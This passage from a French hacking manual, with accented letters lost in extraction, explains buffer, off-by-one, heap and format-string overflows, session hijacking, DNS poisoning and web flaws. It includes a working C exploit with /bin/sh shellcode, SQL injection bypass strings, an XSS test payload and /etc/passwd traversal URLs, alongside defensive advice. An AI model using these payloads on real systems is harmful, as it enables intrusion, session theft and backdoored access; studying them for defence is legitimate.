de tampon.

mais qu'est-ce qu'un dpassement de tampon ?


Une attaque de type buffer overflow (dpassement de tampon) sert faire dborder la
pile d'
excution. Cela entrane le dplacement et la destruction dlments utiliss par
un processus, donc lorsque des programmes viendront chercher des lments les
concernant des espaces mmoire bien prcis, ils trouveront autre chose.
Gnralement, lorsqu'
il y a dpassement de tampon, il y a exploitation des
fonctionnalits et des possibilits du systme cible. Il y a plusieurs applications qu'
un
pirate peut vouloir exploiter : le shell (ou interprteur de commandes) du systme, des
logiciels spcifiques
Bien sr, un buffer overflow peut seulement servir faire une attaque de type denial
of service local.
La possibilit de faire des buffer overflow est due deux problmes :
- le manque de contrle des fonctions passes en mmoire
- le manque de contrle des lments situs dans la pile
Le premier problme est relativement facile viter si les programmeurs utilisaient
quelques notions de programmation scurise.
Le deuxime problme est un peu plus dur viter car pour scuriser cela, il faudrait,
par exemple, crer un patch pour la pile ou encore verrouiller et dverrouiller
dynamiquement les espaces mmoire du systme.

les notions de base :


Pour bien comprendre les attaques de type dpassement de tampon, il faut des
connaissances en langage C et assembleur, surtout des connaissances sur les registres,
les registres de segments, sur le comment de la cration des adresses mmoires, les
types de donnes, les instructions CALL, IRET, RET, RETF, NOP mais aussi sur le
fonctionnement d'
un empilement et d'
un dpilement, et le plus important savoir
comment fonctionne la pile.

66

le language C
Nous allons seulement voir les trois principales fonctions qu'
utilisent gnralement
les pirates pour effectuer un dpassement de tampon .
Il y a :

les variantes de printf( ) qui permettent d'


imprimer des caractres vers un
tampon que le programme spcifie (cf sprintf( );)
strcpy(dest, src); qui permet de copier src dans dest
strcat(dest, src); qui permet de concatner des lments, lorsque les
arguments passs la fonction correspondent des variables, ce sont
leurs valeurs qui sont concatnes.

les registres du processeur :


Nom du registre
pour les systmes
32 bits

Nom du registre
pour les systmes
16 bits

EAX

AX

EBX
ECX
EDX
ESI
EDI
ESP
EIP

BX
CX
DX
SI
DI
SP
IP

EBP

BP

Nom des registres


pour les systmes 8
bits : (bit de poids
fort et bit de poids
faible)
AH et AL
BH et BL
CH et CL
DH et DL

Fonction

Registre
accumulateur
Registre de base
Registre compteur
Registre de donnes
Index de sources
Index de destination
Pointeur de pile
Pointeur
dinstruction
Pointeur de base

les registres de segment :


Nom du registre
CS

Signification
Segment de Code

DS

Segment de Donnes

ES

Extra-Segment

SS

Segment de Pile

67

Fonction
Il a comme valeur ladresse
du commencement des
instructions dun
programme
Il a comme valeur ladresse
du dbut des donnes
quutilise le programme
Il a comme adresse un
segment de donnes libre
Il a comme adresse celle de

la pile
Il sont comme ES

FS et GS

la cration des adresses mmoire :


En premier, vous devez savoir qu'
une adresse mmoire est forme du segment et de
loffset.
Pour connatre la place dun octet, il faut prendre le segment et loffset, leur ajouter la
lettre h (au deux parties) puis multiplier le segment par seize et additionner au rsultat
loffset.
Le rsultat de cette multiplication puis de cette addition constitue l'
adresse mmoire
d'
un octet.
Pour plus informations, rfrez-vous un livre traitant de la constitution des lments
d'
un ordinateur.

certaines instructions :
Nom de linstruction
CALL

RET
RETF

NOP

Fonction
Linstruction CALL permet de se
brancher une sous-routine laide de
branchements intra-segments ou extrasegments. Lors de lutilisation de cette
instruction, le registre IP est mis sur la
pile, on lui affecte ladresse de la sousroutine et lorsque la sous-routine a fini
dtre excute, la prcdente valeur de IP
est charge
Permet de revenir au programme parent (
ou encore appelant ) lorsquune sousroutine sest excute
Son but est semblable celui de RET. Sa
particularit est quelle permet de revenir
au programme appelant mme sil se
trouve dans un autre segment
Cest une instruction qui ne fait rien et
passe linstruction suivante.

POP et PUSH :
Pour mettre une donne sur la pile, on utilise l'
instruction PUSH et cela s'
appelle faire
un empilement, ce moment-l, SP est dcrment de deux octets pour les mots, 4
octets pour les double mots

68

Pour rcuprer une donne place sur la pile, on utilise l'


instruction POP, cela
s'
appelle faire un dpilement, ce moment-l, SP est incrment de 2 octets pour les
mots, 4 octets pour le double mots

la pile :
La pile est un espace utilis par les programmes pour placer temporairement les
lments et pouvoirs les rcuprer plus tard. La pile est de type LIFO (Last In First
Out = le premier lment entr est le dernier sorti) cest--dire, pour ceux qui
n'
auraient pas compris que la pile se rempli de la fin vers le dbut (un peu comme un
verre que l'
on remplit d'
eau).

crer un code d'attaque :


Nous allons voir comment mettre en place une attaque de type dpassement tampon
servant exploiter une des fonctionnalit du systme. Cela s'
appelle faire un
dpassement de tampon contrl.
Mais voyons d'
abord quelques moyens permettant d'
injecter et excuter son code actif
(appell aussi uf) .

l'injection et l'excution :
Le but de tout ce que l'
on va faire, va tre de faire excuter un shellcode par le
programme cible : plus le logiciel aura des droits levs plus notre shellcode aura des
possibilits daccs levs.
Le buffer que lon va injecter peut aussi contenir un lien vers une adresse o l'
on aura
plac le shellcode (ou uf).
Avant de continuer, voyons o l'
on peut placer luf. Ce dernier peut-tre plac dans
un fichier, dans des variables d'
environnement, directement sur la pile, dans une
bibliothque dynamique des fonctions
Pour se brancher directement sur luf , nous allons voir 3 mthodes : le
branchement direct, l'
utilisation de la fonction CALL, le retour une adresse
approximative.
-

la branchements direct : cela peut servir si l'


on connat l'
adresse o est
situe luf sur la pile
La fonction CALL : cette fonction du langage assembleur permet
d'
appeler des sous-routines. Avec certaines options, CALL peut faire des
branchements intra-segment et extra-segment. Lors de cet appel, EIP est

69

place sur la pile et contient l'


adresse de la sous-routine appele. Quand la
sous-routine a fini son excution, l'
ancienne valeur de IP est recharge.
Le retour une adresse approximative : gnralement lorsqu'
une sousroutine finit son excution, on revient au programme appelant l'
aide de
la fonction RET. Si un pirate connat l'
adresse retour, il peut soit la
modifier par l'
adresse de son oeuvre soit utiliser un buffer overflow pour
placer son oeuf l'
adresse de retour.

crer son uf :
Luf correspond la charge centrale de l'
attaque. Un oeuf attaque gnralement une
faille qui permet de faire planter le systme cible ou pouvoir accder des fichiers
Luf doit donc tre bien cod.
Pour crer un oeuf, le conseil serait d'
crire le moins de code possible, d'
utiliser le
plus possible les ressources offertes par le systme cible (comme les bibliothques
dynamiques que possde le systme, les appels systmes ou syscall), de passer par le
shell pour simplifier la recherche et l'
accs un fichier et de laisser un backdoor.
Le shellcode peut tre crit en language C. La plupart de ses instructions devront tre
des appels systmes (syscall).
Exemple : exit(0) doit tre remplac par _exit(0)
Quand le shellcode sera prt, on va le compiler et le dsassembler (car un shellcode
doit tre en language assembleur). Il faut surtout conserver les parties du shellcode
qui utilisent des interruptions et dautres fonctions fournis par le systme (do
lutilisation de syscalls qui utilisent ces genres de fonctions systmes). Quand tout est
enfin prt (je parle bien sr du shellcode cod en assembleur), il va falloir transformer
ou plutt traduire notre uvre en hexadcimal et coder dans notre language prfr
les instructions qui vont nous permettre de lancer notre shellcode.
Le buffer overflow peut aussi permettre de crer deux canaux de communication
entre le systme pirate et le systme cible : un peu comme faire un telnet invers.
Si l'
on veut placer notre uf sur la pile et faire un branchement direct ou un
branchement par retour une adresse approximative, luf peut contenir au dbut une
suite plus ou moins longue d'
instructions NOP car les caractristiques de cette
instruction est de ne rien faire et de passer l'
instruction suivante. Pour finir, le code
devra tre encoder car certains programmeurs filtrent les lments d'
un tampon.
Vous tes maintenant capables de crer votre propre attaque par dpassement de
tampons.

70

Vous pouvez aussi maintenant crer un uf qui vous donnera un accs au systme ou
qui le fera tout simplement planter.
La cration dun uf peut aussi vous permettre d'
exploiter plusieurs failles en mme
temps.

Quelques informations :
Pour russir une attaque de type buffer overflow, le pirate doit arriver overwriter
ebp et eip qui sont gnralement placs aprs le buffer mit sur la pile (stack).
Lors de lappel dune fonction, gnralement le processeur doit sauvegarder
lenvironnement pour quon puisse le retrouver aprs lexcution de la fonction. Le
processeur place largument de la fonction, puis il appelle la fonction. Il PUSH eip
puis sauvegarde ebp laide dun :
push ebp

aprs tout cela, il place esp (qui contient ladresse du dernier lment de la pile) dans
ebp. Ensuite, il dcrmente esp pour quil puisse contenir les nouvelles variables (et
oui cest une soustraction qui est fait car la pile crot vers le bas sur Little Endian).
Pour finir, on place esp.
Ca donne gnralement un truc du genre :
<- a va vers le haut de la pile
[ buffer ][ ebp saved ][ eip saved ][ variable ]
a va vers le bas de la pile ->

Quand la fonction a fini son excution, il faut rtablir lenvironnement.


On fait donc sur esp, linverse de laction qui avait t faite sur elle au dbut de la
fonction dans le but de diminuer la taille de la pile, puis on place ebp dans esp.
Ensuite, on POP llment se trouvant au dessus de la pile et on le place dans ebp.
Llment se trouvant au dessus de la pile est en faite lancienne valeur de ebp : [ ebp
saved ]. Pour terminer, on POP le dernier lment de la pile et on le place dans eip
Avant de terminer ce chapitre, nous allons certaines variantes des failles de type stack
overflow et autres.

Buffer Overflow
En premier, il y a le buffer overflow qui sert craser des donnes sur la pile. Voici
un code exemple :

71

int main(int argc, char *argv[]) {


char buffer[100];
strcpy(buffer, argv[1]);
return;
}

Ceci est un exemple trs simple et on voit facilement le problme: ce mini


programme accepte un argument qui est ensuite copi dans le buffer, un tableau qui
naccepte que 100 caractres. Si on lui passait une chane de 100 caractres il ny a
pas de problmes comme le montre l exemple :
$> gdb -q vulnerable
(gdb) run `perl -e "print('A'x100)"`
Starting program:
/root/Khaalel/Overflows/exemples/faille13/vulnerable`perl
-e
"printf('A'x100)"`
Program exited normally.
(gdb)

Par contre, si lon passe une chane de plus de 100 caractres (mme de 2 mots de
plus soit 108 caractres), on voit safficher un beau :
Program received signal SIGSEGV, Segmentation Fault.

Maintenant voyons comment il serait possible dexploiter cette faille. Il nous faudrait
dabord dsassembler le mini programme et mettre un point darrt sur la fonction
strcpy() pour ensuite connatre ladresse de buffer : il contiendra le code dattaque.
Astuce : aidez-vous de loprateur & pour afficher grce gdb ladresse de buffer :
print &buffer.

Sachant que buffer accepte 100 caractres et que ebp et eip valent en tout 8 octets (4
chacun car ce sont des mots). On va dire quavec 108 caractres on aura
compltement overwrit [ ebp saved ].
Voici un code dattaque qui pourrait permettre dattaquer ce code :
#include <stdlib.h>
#include <stdio.h>
#define BUF_PROG 100
#define LE_PLUS 8
int main()
{
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40"
"\xcd\x80\xe8\xdc\xff\xff\xff"
"/bin/sh";
char addr[] = "[ici_adresse_du_buffer]";
char buffer[110];

72

int a;
int i;
for (a = 0; a < ((BUF_PROG+LE_PLUS)(strlen(addr)+strlen(shellcode))); a++)
buffer[a] = '\x90';
for (i = 0; shellcode[i]; i++, a++)
buffer[a] = shellcode[i];
for (i = 0; addr[i]; i++, a++)
buffer[a] = addr[i];
execl("/root/Khaalel/Overflows/exemples/faille13/vulnerable",
"vulnerable", buffer, NULL);
}

Normalement vous devriez avoir compris un peu plus la notion de buffer overflow.

Off-by-One Overflow:
On est toujours dans les vulnrabilits de type buffer overflow. Loff-by-one (ou
encore frame pointer overwriting) est une technique qui est spciale car gnralement
elle nest pas provoque par lutilisation dune fonction faisant dfaut. En effet, le
responsable est le programmeur qui ne fait pas toujours attention au code de son
programme.
Voici par exemple le bout de code dun programme :

char buffer[150];
for (i = 0; i <= 150 && chaine[i]; i++)
buffer[i] = chaine[i];

A premire vue, elle na pas de vulnrabilits. Et bien si, elle en a une, qui est de type
off-by-one. O ? et bien vous allez tout de suite le savoir.
Le programme dclare un tableau de caractres qui peut contenir 150 caractres.
Pour information, vous devez savoir que le tableau de caractres chaine est fournit en
argument au programme par lutilisateur et que le programme na pas fait de
vrification sur la chane.
Ensuite le programme met la chane de lutilisateur dans le tableau buffer en utilisant
une boucle for.

73

En testant le programme et en fournissant une chane de 150 caractres, le


programme se finit bien :
$> gdb -q vulnerable
(gdb) run `perl -e "print('
A'
x100)"`
Starting program: /root/Khaalel/Overflows/exemples/faille14/vulnerable`perl -e
"printf('
A'
x100)"`
Program exited normally.
(gdb)
mais en fournissant une chanes de 151 caractres, on retrouve lhabituel :
Program received signal SIGSEGV, Segmentation Fault.

Pourquoi?
Il copie intgralement les 151 caractres car la boucle commence 0 pour boucler
151 fois jusqu 150 (et oui de 0 150, il y a 151 pas car on commence compter
partir de 0), mais le problme est le tableau qui naccepte que 150 caractres
entranant lcrasement et loverwriting du dernier octet de [ ebp saved ].
Le problme rside en faite dans lutilisation de loprateur : <= dans la boucle
for quil faudrait ventuellement remplacer par un simple < .
Cest vrai quon ne peut crire de shellcode sur un octet, mais cela ne veut pas dire
que cette vulnrabilit ne sert rien car si la pile est encore excutable, on peut
toujours crire sur cet octet ladresse o se trouve le shellcode. Si vous ne connaissez
pas ladresse exacte du shellcode, vous pouvez toujours faire une technique de brute
forcing, qui va tester chaque adresse en mmoire jusqu trouver celle qui contient le
shellcode.

Heap Overflow :
Le heap overflow est une technique de overflow qui diffre de lhabituel stack
overflow car tout ce passe dans le heap (ou encore tas).
Quest-ce-que le tas ?
Et bien, comme la pile, cest une section en mmoire qui contient des lments.
La pile contient les lments qui vont tre excuts par le processeur et qui sont
placs dans un ordre bien dfini. Le tas contient les variables alloues
dynamiquement et qui sont places dans un ordre alatoire car il ny a pas de rgles.
Cette vulnrabilit est base sur lutilisation des fonctions malloc( ), free( ) et unlink(
).

74

La fonction malloc() alloue de la mmoire. Elle fonctionne en fragmentant le tas par


blocs qui contient soit une structure (appele aussi chunk) donnant des informations
sur la zone mmoire alloue soit la zone mmoire alloue.
La fonction free() libre un espace mmoire. Ce qui fait que free( ) est important dans
le fonctionnement du heap overflow est que quand free( ) libre de la mmoire et voit
que le bloc suivant est aussi libr, il fait un gros bloc libre sous un seul chunk (grce
la fonction unlink( )).
Voici le code de la fonction unlink() :
#define unlink(P, BK, FD)
{
BK = P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;
}

Pour russir cette attaque, il va falloir crire plus de donnes que peut en recevoir le
premier bloc de la zone mmoire alloue pour pouvoir crire dans le chunk de la
deuxime zone de mmoire.
Que crire et o ?
Et bien, un chunk est constitu de plusieurs champs : 4 en faite.
prev_size
size
fd
bk
Sans entrer dans les dtails, la plupart du temps, il faudra mettre dans le champs
prev_size, que le chunk est libre (en relisant ce pourquoi free() est important, vous
comprendrez), dans le champs fd, il faudra crire ladresse o lon veut mettre notre
shellcode et dans le champ bk, ladresse o se trouve le shellcode.
Pour plus dinformations sur le heap overflow, je vous conseille de lire larticle
Once upon a free() du phrack 57.

Parades :
- contrler tous les lments passs sur la pile
- pour dtecter si une application est vulnrable, analyser son code source (
l'
aide de scanner de vulnrabilit) ou encore tester manuellement le
fonctionnement de l'
application en y faisant un petit audit.

75

Scuriser la pile d'


excution ou la rendre non excutable.

76

77

Le dtournement de sessions
Le dtournement de session (ou encore hijacking) est une technique de piratage qui
consiste s'
emparer de la connexion d'
une autre personne.
Cela peut pas tre assimil de l'
IP spoofing car l'
on se fait passer pour une personne
que l'
on n'
est pas.
Nous allons voir deux types de dtournement de sessions :
- celui qui consiste envoyer des paquets avant le client,
- celui qui consiste se faire passer pour ce que l'
on n'
est pas dans le but de
faire de l'
espionnage ou de rdiger le client o nous le voulons.
Ne vous attendez pas un manuel de cuisine qui vous explique quoi faire, quel
moment, et quels doivent tre les rsultats car comme l'
IP spoofing, il n'
y a pas de
protocole type appliquer et les rsultats dpendent de l'
environnement dans lequelle
on se trouve, aussi de notre but.

Premier type de dtournement de session :


Cette technique dpend de notre rapidit analyser des paquets et notre rapidit
rinjecter des paquets dans le rseau.
Il va nous falloir un sniffer, un logiciel qui forge des paquets et tre sur le mme
segment rseau que le systme cible (le contrler serait le mieux) .
Imaginons trois systmes A, B et C.
Le systme A est le systme scuris auquel on essaie d'
accder, le systme B est le
client autoris accder au systme A et le systme C est le systme du pirate qui
essaie de dtourner la connexion de B.
C va devoir analyser le trafic rseau de B pour savoir quand B se connecte A et
envoyer le 3me paquet ncessaire pour tablir une connexion avec A (cf la poigne
de mains).
Pour pouvoir analyser le trafic rseau de B, C va devoir :
- soit se faire passer pour la passerelle par dfaut (cf larp spoofing)
- soit flooder le switch pour quil se comporte comme un hub et lui mettre
un sniffer sur son port SPAN
- soient infiltrer B et lui installer un sniffer et un backdoor.
L'
attaque va se drouler ainsi : C va sniffer la connexion de B. Lorsqu'
il verra un
paquet contenant les flags SYN et ACK activs et provenant du systme A, il va

78

envoyer A un paquet ACK ayant comme IP source celle de B, puis il devra trouver
le moyen de communiquer tranquillement avec A en se faisant passer pour B sans que
ce dernier ne donne signe de vie. Pour cela, il peut faire planter B et associer son
adresse MAC lIP de B en faisant du DNS spoofing.
Le systme C peut aussi infiltrer le systme B et y mettre un programme qui sniffera
le trafic rseau de B et qui aura comme 2me mission de faire suivre, vers le systme
C, les paquets provenant de A pour que C puisse rpondre la place de B. Il ne faudra
pas oublier d'
ajouter, au programme, une fonction qui bloquera tout paquets mis de
B en direction de A.

Deuxime type de dtournement de session :


Cette technique consiste utiliser des programmes ou des systmes qui relaient des
paquets et en lesquels les gens ont confiance.
Ces systmes et logiciels peuvent tre des serveurs socks, des proxys, des routeurs
Dox Route

exemple de routeurs :

exemple de proxys :
Achilles qui est un serveur proxy qui permet de capturer, modifier (si on le veut)
et faire suivre les requtes d'
un client. Pour que cela fonctionne, il faut installer le
programme sur notre systme puis il va falloir configurer les paramtres Internet de la
victime.
Il y a deux paramtres modifier : il faut modifier le serveur Proxy qu'
utilise la
victime.
Sous Internet Explorer, aller dans Outils/Options Internet/Connexions et dans les
paramtres de la connexion de la victime il faut mettre notre adresse IP dans le champ
Adresse : du serveur proxy et mettre dans le champ Port : le port qucoute Achilles
sur notre systme.

79

80

Il y a quelques temps, les serveurs DNS (dont certaines versions de BIND) pouvaient
tre dtourns avec diffrentes mthodes.
En voici une :
Il fallait empoisonner le cache du serveur DNS cible avec de fausses informations.
Pour raliser cela, le pirate demande la cible de faire une requte DNS de type A
(rsolution de nom) vers le systme DNS du pirate. Ce dernier va renvoyer une
rponse fausse (cela peut par exemple servir dtourner le trafic dun site web).
La cible tait bien sur le DNS vulnrable.

81

82

Formats Strings
mais dou vient-elle ?
La vulnrabilit des chanes de format existe parce que les dveloppeurs de logiciels
ne contrlent pas la validit des arguments externes utiliss dans les fonctions de la
famille printf( ).
Avant d'
aller plus loin, il faut quand mme savoir ce quest une chane de format.
Une chane de format est une chane de caractres cre lors de l'
excution d'
un
programme l'
aide de spcificateurs de formats tant associs une variable.
Cette vulnrabilit va nous permettre de lire et crire dans la pile d'
excution.

but de cette vulnrabilit :


La vulnrabilit des chanes de formats peut aider un pirate lire des lments en
mmoire, crire des shellcodes ou des pointeurs en mmoire, faire une attaque de type
dpassement de tampon ou encore refus de service, craser et remplacer des lments
en mmoire.

lire en mmoire :
Lire en mmoire peut servir obtenir le mot de passe d'
une application lorsque le
programme le conserve
Pour lire en mmoire, il faut utiliser le spcificateur %x , qui lit des lments de
quatre octets ou le spcificateur %s qui lit des lments des emplacements
mmoires arbitraires.

crire en mmoire :
Cette technique va nous permettre dcrire en mmoire des shellcodes, des pointeurs
vers un shellcode, remplacer des entres, des adresses de retour d'
une fonction,
craser les valeurs
Pour crire en mmoire, il faut utiliser le spcificateur %n .

faire dborder la pile et planter le systme :

83

Pour faire dborder la pile ou faire planter un systme l'


aide des chanes de format,
il nous faut utiliser les lments dmultipliant les possibilits de lecture et dcriture
des spcificateurs de format. Il y a par exemple le jeton toile * qui permet
d'
augmenter les possibilits du spcificateur de format de quatre octets.
Ex : %***2x
Ou il suffit de rajouter un nombre d'
entre % et la lettre du spcificateur pour lui
spcifier d'
utiliser x caractres (lments) pour lire et crire ce que l'
on veut.
Voici une liste non exhaustive de certains spcificateurs de formats :
-%s : qui permet de lire des lments des emplacements arbitraires.
-%x : qui permet de lire des lments de quatre octets. Il peut aussi nous
permettre d'
atteindre une adresse ou une fonction.
-%n : qui permet d'
crire en mmoire.
-%i : qui permet de lire des entiers.
-%p : qui permet de traverser la pile.

Parades :
- contrlez la validit et le type des lments externes,
- faites un audit du code des applications,
- crez ou appliquez des patchs pour la scurisation de la pile. Des patchs
donnant certaines restrictions aux fonctions en mmoire et protgeant la
pile.

84

85

Failles spcifiques aux Web


Dans ce chapitre, nous allons voir certaines failles que peuvent avoir les sites Web
que vous visitez ou construisez. Ce chapitre a principalement t crit pour les
webmasters ne voulant pas que leur site tombe lors dattaques de pirates mais aussi
pour ceux faisant des audits de sites et aux personnes voulant comprendre comment
les pirates arrivent a dfacer des sites.

SQL injection :
Cette faille qui consiste contourner une authentification de session n'
est possible
que sur les serveurs qui ne filtrent pas les caractres dit spciaux comme les
guillements " , lapostrophe , le slach / , lanti-slach \ et les caractres
ASCII
Comme nous venons de le voir, pour raliser cette attaque, on doit se trouver en face
de serveurs autorisant (ne filtrant pas si vous prfrez) les caractres dit spciaux ,
et l'
utilisation des mots cls comme OR, AND, NOT
Un peu de thorie avant de passer la pratique. Pour quune requte russisse, elle
doit tre dclare vraie par le serveur, et c'
est cela son point faible car si l'
on utilise
des galits toujours considres comme vraies la place du contenu des variables
que peut bien faire le serveur ne filtrant pas les caractres spciaux a part accepter la
requte qui est vraie.
Les exemples valent mieux que des explications pour comprendre cette technique.

comment injecter ce que l'on veut dans des requtes SQL ?


Nous allons utiliser les galits toujours considr comme vraie (1=1, g=g, n=n) les
oprateurs comme OR, AND, et certains caractres spciaux comme , -- ,
/* , */
Mon identifiant est : voila, mon passe est : securite, la table qui contient la liste des
mots de passe et identifiants associs s'
appelle idpass.
Voici une requte de authentification normale faite sur un serveur :
SELECT * from idpass WHERE id=voila AND pass=securite
(www.site.com/page.php?id=voila&pass=securite)

Maintenant, voici une requte d'


authentification modifie par un pirate et tant bonne
:

86

SELECT * from idpass WHERE id= OR 1=1 OR 1=1 AND


pass=
(www.site.com/page.php?id=or1=1or1=1)

Cette technique a utilise l'


oprateur OR et les galits toujours considres comme
vraie.
Une autre technique consiste employer les caractres spciaux qui sont utiliss pour
mettre les commentaires dans les langage comme le PHP
Nous allons donc utiliser /* , */ et -- . Ces caractres vont servir
discriminer certaines parties de la requte dauthentification.
SELECT * from idpass WHERE id= OR 1=1 /*AND pass=*/ OR
1=1

Tout ce que nous venons de voir sur le SQL injection est utilisable si l'
on ne connat
ni lid ni le mot de passe d'
une des vritable personnes sauthentifiant sur le site. Ds
fois, on connat au moins lid (login) d'
un des inscrits. Il va donc falloir modifier les
requtes que l'
on avait cr pour qu'
elles prennent en considration ce nouvel
lment.

XSS (Cross Site Scripting):


Le XSS (Cross Site Scripting) est une technique qui consiste modifier directement
l'
URL dune page en PHP notre avantage. Elle est ralisable avec un navigateur et
des connaissances sur la manire dont son codes des informations dans une URL.
Une URL est constitue du protocole utilis (par exemple http://) puis du nom de
domaine du site sur lequel on se trouve; enfin, il y a le chemin d'
accs au fichier sur
lequel on se trouve.
Sur les serveurs potentiellement vulnrables au XSS, il y a ensuite un ? suivi des
noms des variables, de signes & , % , de valeurs et de chiffres.
Pour savoir si un serveur est vulnrable, il va falloir y faire des tests. Tapez par
exemple :
www.site.com/page.php?<script>alert(vulnerable);</script>

Si en pressant la touche entre, on voit un cadre qui s'


affiche l'
cran avec le mot
vulnrable, cela veut dire que le serveur est vulnrable aux XSS.
Certains serveurs ont un peu mieux scuriss leurs codes PHP mais sont encore
vulnrables. Il suffit juste de remplacer les caractres de l'
URL de test par leurs
quivalents UNICODE.

87

Le XSS est une technique plutt simple d'


emploi mais qui a des pouvoirs normes.
L'
exemple le plus courant est le mail qu'
un pirate envoi un internaute. Ce mail
contient un lien vers un site que l'
internaute l'
habitude de visiter : bien sr le lien a
t truqu par le pirate dans le but que ce dernier reoive le cookie didentification de
l'
internaute. Ce cookie va lui permettre de se reconnecter la mail box de linternaute
et dy faire ce que bon lui semble. Il y a pleins d'
autres possibilits d'
utilisation du
XSS, cela dpend de l'
imagination du pirate.
Voici un fait divers sur l'
utilisation du XSS. Il remonte octobre 2002, lorsque les
membres de la HACKADEMY TEAM dcouvrirent qu laide du XSS, on pouvait
pratiquement accder aux donnes des comptes en ligne des clients de certaines
banques franaises.

la faille include() :
En programmation, la fonction include( ) permet d'
inclure des fichiers externes dans
le code source utilisant cette fonction. L n'
est pas le problme !
Gnralement, les crateurs de sites Web dynamiques utilisant cette fameuse fonction
oublient de faire un contrle sur les fichiers inclus, il est donc possible dinclure ce
que l'
on veut et pourquoi pas les fichiers de configuration du serveur cible ? Ou le
fichier de mots de passe ? ou encore un fichier d'
un autre site/serveur ?
Voici un bout du code d'
un script PHP utilisant la fonction include ( ) :
<?
include ($page) ;
?>

Cela va nous donner dans la barre l'


adresse :
www.site.com/xxx.php?page=[nom_de_page_quelconque]

Pour y introduire ce qu'


ils veulent, les pirates modifient
[nom_de_page_quelconque] par un fichier choisi pralablement.
Pour scuriser tout cela, il va falloir faire un contrle sur les arguments passs.
Exemple :
< ?
if (file_exists($page))
include ($page)
else
include (404.php)
?>

ou encore

88

<?

if ($page=xxx) include (news.php);

?>

La deuxime mthode de scurisation est utiliser pour toutes les pages du site qui
peuvent tre inclus dans une requte et la possibilit de ne pas permettre dinclure
n'
importe quel fichier mme s'
il existe sur le serveur.
Une autre mthode de scurisation pourrait passer par l'
utilisation dune fonction qui
listerait le contenu d'
un rpertoire prcis pour savoir si les fichiers inclure sont
prsents sur le serveur.

la fonction fopen( ) :
La diffrence entre fopen( ) et include( ) est que la premire fonction ne fait pas
quinclure le fichier mais louvre aussi. De plus, les inclusions de fichiers sont de plus
en plus filtres, alors que les ouvertures de fichiers avec fopen( ) ne le sont pas
vraiment.
Cette technique est utilisable seulement si la fonction fopen( ) utilise une variable
comme argument :
<? fopen($var, r); ?>

et que lon retrouve cette variable dans lurl de la page.


Si les conditions prcdentes sont vrifies alors on va pouvoir ouvrir des fichiers se
trouvant sur le serveur ou sur dautres serveurs. Et si on consultait le fichier passwd
du serveur :
http://www.site.com/page.php?var=../../../../etc/passwd

(le nombre de rpertoire pour latteindre est chercher)


http://www.site.com/page.php?var=http://cible/../../../etc/pas
swd

(ou un autre fichier du site)


Rien ne vous empche de crer une page contenant cette fonction pour explorer le
serveur que vous voulez.

les CGI :

89

Les CGI (Common Gateway Interface) sont des applications Web visibles et
utilisables par les navigateurs. Les CGI sont la base crs pour donner une certaine
interactivit avec l'
utilisateur, gnrer dynamiquement des pages, images () et
enregistrer des informations donnes par l'
utilisateur.
Les CGI sont gnralement constitus de deux lments de base: un formulaire que
voit et rempli l'
utilisateur, et d'
un programme qui traite les informations fournies.
Pour pouvoir bien fonctionner, les CGI ont besoin des donnes de l'
utilisateur, qui
seront envoy au CGI l'
aide de mthodes de transfert des donnes (les principaux
sont GET et POST). Pour bien traiter les donnes, et les demandes, les CGI utilisent
des variables d'
environnement puis renvoient le(s) rsultat(s) .
Ces applications peuvent tre crites dans divers langages (C, PERL) .
Les CGI ont malgr tout certains inconvnients plutt important : ils sont excuts sur
le serveur Web et disposent gnralement de droits trs levs donc si les CGI sont
pirats, les auteurs de ce mauvais tour pourront excuter divers programmes sur le
serveur o rside le CGI. Et pourquoi ne pas utiliser un shell ? Ou afficher le fichier
de mots de passe ?
Pour dcouvrir les vulnrabilit dont souffre certains CGI, les pirates utilise des
scanners de vulnrabilits de CGI comme whisker de RPP, N-STEALTH
Voyons comment dcouvrir manuellement des failles dans les CGI.

analyse du code source :


Il faut analyser le code source des formulaires ou autres scripts donnant accs un
CGI. Prtez surtout attention aux informations contenues entre les balises HTML :
<form> </form>, les champs cachs du formulaire, les textes et les informations
par dfaut, les mthodes d'
envoi, les diffrents chemins d'
accs d'
autre scripts, les
fonctions (systmes ou non) utilises comme system( ), open( ) et le nom des
variables.

analyse des URL :


Copier les URLs des diffrentes pages, avant et aprs la saisie des donnes du
formulaire et comparez-les. Relevez les variables et leur(s) valeur(s) associe(s) et
tudiez-les attentivement avec les variables du formulaire. Modifiez les valeurs, voir
ce qui se passe, et ainsi de suite jusqu'
ce que vous puissiez pntrer le serveur Web
et utiliser ses ressources (grce un telnet invers par exemple) .

Dautres failles web

90

Le fichier robot.txt
robot.txt est un fichier qui est plac la racine dun site web et qui est utilis par les
moteurs de recherche.
Lorsque ces derniers rencontrent ce fichier, ils ne vont pas inclure dans le rsultat de
la recherche les rpertoire qui se trouvent dans le fichier : il sert donc cacher des
rpertoires.
Par contre, lorsque lon fait une recherche avance dans google ou dans dautres
moteurs de recherches en spcifiant que lon veut accder tous les fichiers robots
quils ont conserv dans leurs bases de donnes, les moteurs de recherches nous
affichent une liste incroyable (mais vrai) de liens vers des fichiers robots. Cela peut
permettre un pirate de se dplacer dans des rpertoires privs qui peuvent contenir
des donnes importantes ou non (comme les rpertoire dadministration du site, le
rpertoire o est situ les fichiers de la base de donnes) .
Ce nest pas une faille : ce fichier est un lment double tranchant facilitant la tche
des moteurs de recherches et des webmasters mais aussi des pirates.

Dautres fichiers
Lorsque lon cr un site, on a souvent envie de protger laccs certains fichiers ou
rpertoires. Cela est possible grce aux fichiers .htaccess et .htpasswd.
.htaccess va tre le fichier qui protge le rpertoire grce un mot de passe et
.htpasswd le fichier qui contient le mot de passe. Pour information, .htaccess dtient
ladresse du fichier .htpasswd.
Il est possible daccder au contenu de ces deux grce son navigateur. Google peut
parfois tre utile pour chercher les fichiers prcdemment cits.

Parades :

- utilisez les fonctions de scurit des langages utiliss pour crer des
applications Web,
- faites un audit de scurit des codes des scripts de votre site,
- faites des contrles sur les arguments passs au fonctions,
- il faut que les serveurs Web et mails filtrent les caractres spciaux mis
dans les requtes.

91

92

Messageries et cookies
Dans ce chapitre, nous allons apprendre analyser les champs des en-ttes des mails,
cela va nous permettre de savoir qui est le vrai metteur d'
un message et plein d'
autres
choses encore. Puis nous allons voir comment les pirates et pleins d'
autres personnes
envoi de messages lectroniques anonyme. Pour finir ce chapitre, nous allons parler
